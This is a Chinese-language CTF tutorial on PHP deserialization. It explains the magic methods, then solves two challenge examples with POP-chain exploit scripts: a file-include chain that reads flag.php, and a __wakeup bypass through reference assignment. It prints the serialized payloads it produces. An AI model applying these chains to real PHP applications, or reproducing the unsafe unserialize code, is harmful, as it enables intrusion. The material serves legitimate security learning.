注意

php类名大小写不敏感

魔术方法

 __wakeup() //------ 执行unserialize()时,先会调用这个函数
 __sleep() //------- 执行serialize()时,先会调用这个函数
 __destruct() //---- 对象被销毁时触发
 __call() //-------- 在对象上下文中调用不可访问的方法时触发
 __callStatic() //-- 在静态上下文中调用不可访问的方法时触发
 __get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法
 __set() //--------- 用于将数据写入不可访问的属性
 __isset() //------- 在不可访问的属性上调用isset()或empty()触发
 __unset() //------- 在不可访问的属性上使用unset()时触发
 __toString() //---- 把类当作字符串使用时触发
 __invoke() //------ 当尝试将对象调用为函数时触发

可以参考:
php函数

__construct()

当一个对象被创建时自动调用这个方法 即 $a=new A()时会自动调用

__call()

在对象上下文中调用不可访问的方法时触发

调用不存在的方法

既这个类中存在这个函数,却调用他就会触发

__callStatic()

触发时机:静态调用或调用成员常量时使用的方法不存在

__get()

当有__get()函数时,每次调用属性都将调用这个魔术方法,所以每次调用都会触发
触发时机:调用的成员属性不存在
参数:传参$arg1
返回值:不存在的成员属性的名称

__set()


触发时机:给不存在的成员属性赋值

__isset()

__unset()

__clone()

__toString()

echo 或者.拼接对象时会调用这个魔术方法

总结

构造pop链

如果存在私有属性,则需要url加密

urlencode(serialize($b));

因为私有属性前面和后面存在%00

例题

例题:小白进群题

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

pop链

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var="flag.php";
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){//把这个实例当作一个方法来调用
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){//当使用echo或者print输出对象时,将对象转化成字符串
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __get($key){//访问私有属性private、以及不存在的属性时被调用
        $function = $this->p;
        return $function();
    }
}//                ->__construct->__get->__invoke
$a=new Modifier();
$b= new Show();
$c = new Test();
$b->source= $b;
$b->str=$c;
$c->p=$a;
echo urlencode(serialize($b));
?>

结果

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D

注意

__construct() __sleep() 可能会影响pop链的构造,如果影响了得删了
__wakeup 可能是不需要的,需要绕过

php引用赋值&

参考大佬文章补充的

php中可以使两个变量指向同一个内存地址


<?php
function test (&$a){
    $x=&$a;
    $x='123';
}
$a='11';
test($a);
echo $a;

输出:

123

<?php

class KeyPort{
    public $key;

    public function __destruct()
    {
        $this->key=False;
        if(!isset($this->wakeup)||!$this->wakeup){
            echo "You get it!";
        }
    }

    public function __wakeup(){
        $this->wakeup=True;
    }

}

if(isset($_POST['pop'])){

    @unserialize($_POST['pop']);

}

这题的绕过可以通过的引用赋值的方法,让key的值改变的时候也改变wakeup的值

<?php

class KeyPort{
    public $key;

    public function __destruct()
    {
    }

}

$keyport = new KeyPort();
$keyport->key=&$keyport->wakeup;
echo serialize($keyport); 
#O:7:"KeyPort":2:{s:3:"key";N;s:6:"wakeup";R:2;}

一个好奇的人